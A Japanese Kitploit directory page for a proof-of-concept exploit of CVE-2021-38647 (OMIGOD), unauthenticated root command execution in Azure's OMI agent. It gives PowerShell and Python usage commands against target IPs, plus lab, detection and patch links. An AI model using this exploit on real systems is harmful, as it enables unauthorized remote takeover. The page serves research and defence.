Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-38647 — CVE-2021-38647 - 未認証RCEを悪用するPOC #OMIGOD | Kitploit
ツール/GitHubGitHub/alteredsecurity/cve-2021-38647
脆弱性分析エクスプロイトペネトレーションテストクラウドセキュリティ学習と教育リモートアクセスツール
GitHubalteredsecurity/cve-2021-38647

CVE-2021-38647

CVE-2021-38647 - 未認証RCEを悪用するPOC #OMIGOD

リポジトリを見る
68234年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2021-38647

CVE-2021-38647 - Azure UNIX/Linux VM上で認証なしのRCE #OMIGOD を悪用するためのPOC

詳細

Microsoft Azureでは、UNIX/Linux VMに対してAzure Automation Accounts、Update Management、Log Analytics、Configuration Managementなどのサービスが使用されると、OMIアプリケーションが自動的にインストールされます。また、Configuration Managementサービスがリモートでマシンを管理するために使用される場合、OMIアプリケーションはポート5986でサービスを公開します。

脆弱性のあるエンドポイントにネットワークアクセスできる者は誰でも、AuthorizationヘッダーなしでSCXcoreプロバイダーを利用したリクエストを送信し、ターゲットマシン上でroot権限でOSコマンドを実行できます!

この脆弱性は現在修正されていますが、Azure上のLinux VMに対して常に確認する価値があります。

使用方法

PowerShell

root@kitploit:~
# Execute command on the target machine.
Invoke-CVE-2021-38647 -TargetIP 127.0.0.1 -TargetPort 5986 -Command whoami

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript))
Invoke-CVE-2021-38647 -TargetIP 1.1.1.1 -TargetPort 5986 -Script $enc

Python

root@kitploit:~
# Execute command on the target machine.
python CVE-2021-38647.py -t 40.87.92.228 -p 5986 -c id

root@kitploit:~
# Execute script on the target machine.
$MyScript = @"
id
whoami
uname -a
"@
$enc = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($MyScript)) #  For Windows

echo 'id' | base64 # For Linux

python CVE-2021-38647.py -t 40.87.92.228 -s ZWNobyAiIg0KZWNobyAiSGVsbG8iDQplY2hvICJHb29kYnllIg==

テスト環境のデプロイ

AzureにデプロイするためのARMテンプレート - https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

Azureを使わないデプロイ - https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

検出と緩和策

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

脆弱性を緩和するには、OMIエージェントをバージョン1.6.8.1以上に更新する必要があります。

参考リンク

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647

https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

https://rootsecdev.medium.com/creating-your-own-private-pwn-lab-for-omi-exploitation-b6919fc63956

https://techcommunity.microsoft.com/t5/azure-sentinel/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093

https://github.com/OTRF/Azure-Sentinel2Go/tree/master/grocery-list/Linux/demos/CVE-2021-38647-OMI

ブログ

https://www.alteredsecurity.com/post/omigod-cve-2021-38647

クレジット

WIZ Team - https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

免責事項

このプロジェクトは教育目的のみを意図しています。作成者はこのツールの誤用について一切の責任を負いません。

ツールをダウンロード